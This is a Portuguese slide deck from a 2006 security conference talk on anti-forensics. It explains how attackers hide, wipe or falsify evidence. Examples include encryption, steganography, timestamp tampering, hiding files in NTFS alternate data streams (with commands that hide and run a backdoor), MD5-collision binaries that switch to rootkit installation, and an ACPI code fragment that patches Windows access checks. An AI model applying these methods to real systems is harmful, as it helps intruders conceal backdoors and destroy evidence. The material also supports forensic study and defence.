Vous êtes sur la page 1sur 26

- 04/03/06

Anti Forensics: dificultando anlises forenses computacionais

Wendel Guglielmetti Henrique a.k.a dum_dum http://www.intruders.com.br http://www.frontthescene.com.br

Agenda
- O que anlise forense computacional ? - O que Anti Forense ? - Mtodos anti-Forenses: * Encriptao. * Steganografia.

* Self Split Files + Encryption.


* Ludibriar ltimos arquivos modificados. * Wipe. * Data Hiding: swap, file system bad blocks, unallocated spaces, ADS. * Dump de processos. * Checagem de Integridade (MD5 Collision). * Database Rootkits. * BIOS Rootkits.

O que anlise forense computacional ?

a aplicao de mtodos cientficos em meios digitais com o objetivo de determinar se um sistema computacional (hard disks, compact disks, solid state devices, etc) est sendo ou foi utilizado para atividades ilegais ou no autorizadas.

O que Anti Forense ?

So mtodos de remoo, ocultao e subverso de evidncias com o objetivo de mitigar os resultados de anlises forenses computacionais.

Mtodos anti Forenses: Encriptao


Encriptao um dos mtodos mais antigos utilizados contra anlises forenses computacionais. utilizado para dificultar a anlise em arquivos encontrados durante uma percia. - Arquivos textos (logs, extraction data, etc). - Arquivos binrios (exploits, sniffers, etc).

root@itts:/var/tmp# cat sniff.log 01!L rQBDI#VkZ1j#oMsQ#qZ9 Bd3DI#VkZ1j#o@#UFMVkZ1j#o#L

mysql@itts:/var/tmp$ ./priv-exploit key: SenhaParaDecriptografar Checking target.... done. Gettng address.... done. Bash-3.00#

Mtodos anti Forenses: Steganografia


Steganografia a arte de esconder mensagens (ou binrios) de forma que as pessoas que no se enquadrem como destinatrias, no consigam perceb-las. Por exemplo, a tcnica utilizada para esconder mensagens (ou binrios) em imagens e arquivos de udio, adicionar os dados a serem escondidos no(s) ltimo(s) bit(s) meno(s) significativo(s). Essa tcnica possvel devido a incapacidade humana de perceber pequenas variaes de qualidade na imagem e som. Em um sistema (Windows, Linux, etc) podemos, esconder arquivos textos ou binrios em imagens ou sons nativos do sistema operacional. Exemplos interessantes de busca: find / -name *.jpg e dir /s %systemroot%\*.jpg. root@itts:/tmp# cat wendel.txt cat: wendel.txt: No such file or directory root@itts:/tmp# stegaext -o wendel.txt /usr/share/gtk-2.0/demo/background.jpg Reading hidden file. Remouting file as wendel.txt root@itts:/var/tmp# cat wendel.txt Apenas um texto para exemplo. (poderia ser um binrio) :D

Mtodos anti Forenses: Self Split Files + Encryption.


Self Split Files um mtodo desenvolvido pelo Intruders Tiger Team Security. Sua tcnica ressume-se a:
- Um framework que interpreta arquivos(textos ou binrios) e os aloca em setores marcados como bad-blocks (mas que na verdade no so ). - A diferena que o arquivo dividido em vrias partes assimtricas que so encriptadas e alocadas fora de ordem e com timestamp modificado. - Realiza wipe do arquivo de entrada aps ele ter sido processado pelo framework. - Permite que o arquivo esteja em um servidor HTTP ou FTP para ser processado. - Biblioteca que permite a fcil interao do framework com sniffers, etc A utilizao da ferramenta retorna uma seqncia de blocos e uma chave pseudo-randmica que deve ser utilizada para ler ou executar o arquivo. Bash-3.00# ./itts-ssf-enc -r http://www.intruders.com.br/exploit-static Self Split Files + Encryption Prvate tool. Developed by: Intruders Tiger Team Security Blocks: 324215 197545 441958 Key: CE$Fsf#R._3r

Mtodos anti Forenses: ltimos arquivos modificados.


Um procedimento comum em anlises forenses computacionais, a listagem dos ltimos arquivos acessados e modificados, facilitando a identificao de backdoors, sniffers, rootkits, etc. Um mtodo no Linux (ext2 e ext3) seria alterar as estruturas internas do ext2_inode e ext3_inode para modificar os valores de Access Time e Modification Time. Retirado de /usr/src/linux/include/linux/ext3_fs.h
233: struct ext3_inode { 234: __u16 i_mode; /* File mode */ 235: __u16 i_uid; /* Low 16 bits of Owner Uid */ 236: __u32 i_size; /* Size in bytes */ 237: __u32 i_atime; /* Access time */ 238: __u32 i_ctime; /* Creation time */ 239: __u32 i_mtime; /* Modification time */ 240: __u32 i_dtime; /* Deletion Time */ 241: __u16 i_gid; /* Low 16 bits of Group Id */ 242: __u16 i_links_count; /* Links count */ 243: __u32 i_blocks; /* Blocks count */

Na User-Space podemos utilizar utime() e utimes(). O conceito pode ser aplicado a outros sistemas de arquivos.

Mtodos anti Forenses: WIPE


Wipe uma forma de se referir ao mtodo de deleo segura. Nos sistemas de arquivos atuais, os arquivos no so totalmente apagados. Quando excluimos um arquivo (com rm, delete, etc), o campo link count setado para zero e o campo deleted time para a hora que o arquivo foi excludo. Por essa razo, os arquivos podem ser recuperados facilmente com anlises forenses computacionais via software. Um mtodo para dificultar a recuperao de arquivos a utilizao do WIPE que nada mais faz do que abrir o arquivo e sobrescrev-lo vrias vezes com contedo pseudorandmico e depois deslink-los do inode e directory entries. Exemplos de utilitrios so o necrofile e klismafile (The Defiler's Toolkit).

Obs: Mesmo com mtodos de Wipe pode ser possvel recuperar arquivos apagados atravs de um fenomeno ferromagnetic chamado Hysteresis Loop. Entretanto, esse tipo de anlise requer equipamentos com altssimo custo, ficando o processo cada vez mais complexo de acordo com o nmero de sobrescritas feitas pelo wipe e densidade do Hard Disk.

Mtodos anti Forenses: Data Hiding


So mtodos utilizados para esconder dados em lugares incomuns do sistema de arquivo podendo passar despercebidos por algumas ferramentas de anlise forense computacional. aconselhvel mixar esses mtodos com outros tais como a Encriptao, Steganografia, etc. Swap criado um segmento como BAD_PAGES no swap, e adicionado dados ao mesmo. Exemplo de ferramenta BigBoo. Bad Blocks (Inode 1) alguns sistemas de arquivos como ext2 e ext3 assumem que no podem existir Bad Blocks antes do root inode (inode 2) e algumas ferramentas de anlise como o TCT e TASK seguem a mesma lgica. Contudo, possvel criar um Bad Block na inode 1 ludibriando assim essas ferramentas. Exemplo de ferramenta o Runefs (The Defiler's Toolkit). Unallocated Spaces podemos utilizar os espaos no alocados entre parties, setor de inicalizao, etc, para armazenar dados. Algumas ferramentas trabalham apenas com parties (no sendo capazes de analisar os discos por inteiro).

Mtodos anti Forenses: Data Hiding


ADS Alternate Data Stream um recurso do sistema de arquivos NTFS (Windows) que de forma prtica, permite criar arquivos em arquivos. Por exemplo, vamos criar um ADS chamado mybackdoor.exe e associ-lo ao notepad.exe.

c:\> type evil.exe > c:\windows\notepad.exe:mybackdoor.exe


O arquivo notepad.exe continuar existindo com o mesmo tamanho. Entretanto o mybackdoor.exe no poder ser visto com o comando dir e nem mesmo com o Windows Explorer. Para executar o ADS associado ao notepad faa: c:\> start .\..\..\..\..\..\..\..\windows\notepad.exe:mybackdoor.exe - O ADS permite criar stream file(s) sem necessariamente associ-lo(s) a um arquivo. Exemplo: c:\> echo Code Breakers Meeting III > :wendel.txt - O ADS permite criar stream file(s) e associa-lo(s) a uma unidade. Exemplo: c:\> echo Front The Scene > c::hide.txt Para ler o arquivo: c:\> notepad c:\:hide.txt

Checagem de Integridade (MD5 Collision)

- Vrios sistemas de integridade (tripware, aide, etc) utilizam o algoritmo Message Digest 5 (MD5).

- Vrios distribuidores de softwares para diversos sistemas operacionais (Linux, Windows, Solaris, etc) utilizam o algoritmo MD5 para checagem de integridade .

- Em Maro de 2005, Xiaoyun Wang e Hongbo Yu publicaram um artigo que descreve o algoritmo utilizado para encontrar colises em seqncias de 128 bytes (com o mesmo hash MD5).

- Em Maro de 2005, Arjen Lenstra, Xiaoyun Wang e Benne de Weger demonstraram um exemplo prtico de coliso, criando um par de certificados X.509 com chaves pblicas diferentes e o mesmo hash MD5.

Checagem de Integridade (MD5 Collision)

O algoritmo desenvolvido por Wang e Yu pode ser utilizado para criar arquivos diferentes com o mesmo hash MD5.

Exemplos de uso:

- Crackers podem criar um bom aplicativo (P2P, IM, browser, etc) previamente com inteno de ser utilizado para ataques de coliso MD5 distribuindo o binrio gratuitamente. Futuramente, eles podem substitu-lo por uma verso que ativa um cdigo malicioso prdefinido mantendo o mesmo tamanho e hash MD5.

- Crackers podem invadir empresas de softwares que so utilizados em larga escala, modificando o cdigo-fonte (chamando o mnimo de ateno possvel) com a inteno de futuramente substitui-lo por verses que ativaro cdigos maliciosos pr-programados.

Checagem de Integridade (MD5 Collision)

Basicamente a criao de dois binrios diferentes e com o mesmo hash MD5 funciona da seguinte forma:

- A funo MD5 utiliza um mtodo conhecido como Merkle-Damgard que funciona basicamente assim:

Caso necessrio preenche (pad) o fluxo de entrada (input) fazendo com que o mesmo seja mltiplo de 64 bytes. O fluxo de entrada (input) dividido em blocos de 64 bytes (M0, M1, M2, etc). O hash MD5 calculado em seqncias de 16 bytes, chamados states (s0, s1, s2, etc). O state 0 (s0) o Vetor de Inicializao (IV - Initialization Vector). O ultimo state (sn) o hash MD5 calculado.

Checagem de Integridade (MD5 Collision)

- O algoritmo de coliso desenvolvido por Wang e Yu possibilita:

A partir de um Vetor de Inicializao s, encontrar dois pares de blocos M,M' sendo que f(f(s, M), M') = f(f(s, N), N').

e N,N',

Encontrar esses dois pares de blocos a partir de qualquer Vetor de Inicializao(IV) s, no se restringindo ao Vetor de Inicializao(IV) s0.

Checagem de Integridade (MD5 Collision)


- Baseado nesses dois fatos:
Criamos e compilamos um programa com um array de 64 bytes (unsigned int mi[64]) e o inicializamos com um valor (vE) de nossa escolha.

Esse programa deve conter todas rotinas (boas e maliciosas) e a comparao entre a coliso de blocos (que ser gerada), que usaremos para diferenciar o que ser executado (rotinas boas ou maliciosas).

Localize no programa compilado o valor de inicializao do array (vE) e extraia o Vetor de Inicializao(IV0, IV1, IV2, IV3) do array mi.

Utilize o md5coll com esse (IV0, IV1, IV2, IV3) Vetor de Inicializao como parmetro e ser gerado um par de blocos (m0 e m1) de 32 bytes cada (coliso MD5).

Substitua no programa original (e compile) o array de 64 bytes (mi) pela juno dos blocos (m0 e m1) que permitir a executao das boas rotinas.

Substitua no programa original (e compile) o array de 64 bytes (mi) pela juno dos blocos (m1 e m1) que permitir a executao das rotinas maliciosas.

Checagem de Integridade (MD5 Collision)


wendel@Itts-VM:/CodeBreakers3$ ./Code This is just a ls command. ---------------------------------------total 40 drwxr-xr-x 2 nobody nogroup 4096 Mar 24 23:02 . drwxrwxrwt 4 root root 4096 Mar 24 23:01 .. -rwxr-xr-x 1 nobody nogroup 13934 Mar 24 23:02 Breakers -rwxr-xr-x 1 nobody nogroup 13934 Mar 24 23:02 Code

wendel@Itts-VM:/CodeBreakers3$ ./Breakers wendel@Itts-VM:/CodeBreakers3$ md5sum *e* Installing SuckIT 1.3e e12de05230b765ff86b947ffbd5ebafc Code ---------------------------------------e12de05230b765ff86b947ffbd5ebafc Breakers I love you baby Show begins Test mode 0 RK_Init: idt=0xc0328000, sct[]=0xc02c68e0 kma_hint=0x00000000 kmalloc()=0xc012fcb0, gfp=0x1f0 Z_Init: Allocating kernel-code memory...KINIT(0xd04d9c64) Done, 11635 bytes, base=0xd04d8000 Relax, just joking! It's a example to III Code Breakers. By: Wendel Guglielmetti Henrique - Intruders Tiger Team Security. http://www.intruders.com.br

Checagem de Integridade (MD5 Collision)


E:\CodeBreakers3> Code.exe This is just a dir command. ---------------------------------------Volume in drive E is HD 2 Volume Serial Number is F4E8-6389 Directory of E:\CodeBreakers3 24/03/2006 16:56 24/03/2006 16:55 24/03/2006 16:55 3 File(s) 49.152 md5sum.exe 21.057 Breakers.exe 21.057 Code.exe 91.266 bytes E:\CodeBreakers3> md5sum.exe Code.exe Breakers.exe 3f849173065e57261a582f7b8e68df9d *Code.exe 3f849173065e57261a582f7b8e68df9d *Breakers.exe

E:\CodeBreakers3> Breakers.exe Installing Stealth NT RootKit Beta Version 0.2b ---------------------------------------Detecting OS version...done! Installing Stealth RootKit Device Driver: stealth.sys...done! Loaded Stealth RootKit with success! Relax, just joking! It's a example to III Code Breakers. By: Wendel Guglielmetti Henrique - Intruders Tiger Team Security. http://www.intruders.com.br

Dump de processos

Nos ltimos tempos as anlises em Live Systems tem alcanado popularidade. Um dos pontos chave a anlise de processos (em memria). Vrias ferramentas para anlise de processos (process image) em Live System utilizam ptrace (Process Trace - System Call). Exemplos de ferramentas que utilizam ptrace() para anlise de processos: memgrep, gdb, memfetch, pcat, etc. - Cada processo pode ser atachado apenas uma vez pelo parent process, dessa forma, basta que o processo j esteja sendo tracejado pelo ptrace (self-ptracing ou utilizando LKM para todos processos) e as ferramentas falharo.

[root@CodeBreakers3]# ./pcat 1732 ./pcat: ptrace PTRACE_ATTACH: Operation not permitted

[root@CodeBreakers3]# ./memgrep -p 1732 -d -a text -l 100 ptrace(ATTACH): Operation not permitted memgrep_initialize(): Couldn't open medium device.

Database Rootkits

- Os bancos de Dados tem cada vez mais recursos podendo autalmente serem utilizados para manter e instalar rootkits.

- Muitos bancos de dados rodam com privilgios administrativos possuindo recursos para criao de arquivos, execuo de comandos no sistema operacional, etc. Consequentemente permitindo a criao de ferramentas hackers on load.

- Pode-se criar ou modificar estruturas internas dos bancos de dados com objetivo de esconder usurios, functions, stored procedures (inclusive utilizadas para carregar ferramentas hackers), etc.

Exemplo:

O banco de dados Oracle tem suporte a Java integrado permitindo a criao, armazenamento e execuo de ferramentas Hackers (backdoors, port scans, exploits, etc) a partir do prprio banco de dados.

BIOS Rootkits
A BIOS (Basic Input Output System) o software que carregado quando o micro computador inicializa. Entre suas funes esto inicializao de chipsets, dispositivos, subsistemas de memria, etc.

Em 1996 foi criado a ACPI (Advanced Configuration Power Interface) que hoje est presente na maioria das BIOS. O ACPI prov uma linguagem simples de programao chamada ASL que permite acessar e modificar a memria, disco, etc.
Dessa forma possvel criar Backdoors ou RootKits on the fly, sem a necessidade de escrever no disco e persistentes a formatao (de discos). Uma funo interessante que o ASL prov a OperationRegion() usada para definir interface ao hardware. OperationRegion(Nome, Regio, Offset, Tamanho). Onde "Regio" dividida em 5 partes que podem ser acessadas para leitura ou leitura e escrita. A Regio pode ser: PCI_Config, SMBus, CMOS, SystemIO e SystemMemory (Utilizaremos est para fazer "patching" em memria).

BIOS Rootkits
SeAccessCheck() determina quando uma requisio de acesso pode ser permitida a um objeto protegido por um security descriptor ou dono do objeto. - MSDN Trecho de cdigo para patchear (utilizando 1 byte) SeAccessCheck(): OperationRegion(CodeBreakers, SystemMemory, 0xc04048, 0x1) Field(CodeBreakers, AnyAcc, NoLock, Preserve){ FLD1, 0x8 } Store (0x0, FLD1) SeAccessCheck em memoria aps o patch: nt!SeAccessCheck: 80c04008 8bff 80c0400a 55 ... ... 80c04044 385d24 80c04047 7500 80c04049 8b4514 80c0404c a900000002

mov edi,edi push ebp

cmp [ebp+0x24],bl jnz nt!SeAccessCheck+0x41 mov eax,[ebp+0x14] test eax,0x2000000

Referncias
http://www.frontthescene.com.br
http://en.wikipedia.org/wiki/Encryption http://www.phrack.org/phrack/63/p630x0d_Next_Generation_Runtime_Binary_Encryption.txt http://en.wikipedia.org/wiki/Steganography http://www.cotse.com/tools/stega.htm http://www.intruders.org.br http://www.hackaholic.org http://www.opengroup.org/onlinepubs/009695399/functions/utime.html http://www.opengroup.org/onlinepubs/009695399/functions/utimes.html http://www-d0.fnal.gov/D0Code/source/l3xsbc_distrib/linux/include/linux/ext3_fs.h http://en.wikipedia.org/wiki/File_wipe

Referncias
http://www.s0ftpj.org/tools/bigboo.tar.gz
http://www.phrack.org/phrack/59/p59-0x06.txt http://en.wikipedia.org/wiki/Alternate_Data_Streams http://www.securityfocus.com/infocus/1822 http://en.wikipedia.org/wiki/MD5 http://www.stachliu.com/collisions.html http://eprint.iacr.org/2006/105 http://www.mscs.dal.ca/~selinger/md5collision/

http://www.codeproject.com/dotnet/HackingMd5.asp
http://www.securityfocus.com/infocus/1769 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Burdach/bh-fed-06burdach-up.pdf

Referncias

http://www.porcupine.org/forensics/column.html http://www.oracle.com/technologies/java/index.html http://www.red-database-security.com/ http://www.acpi.info/ http://en.wikipedia.org/wiki/ACPI http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Heasman.pdf

Dvidas ?

Agradecimentos ao Ricardo (Security OpenSource), Gilgamesh (The Source) e Francis Guslinski pela correo ortogrfica.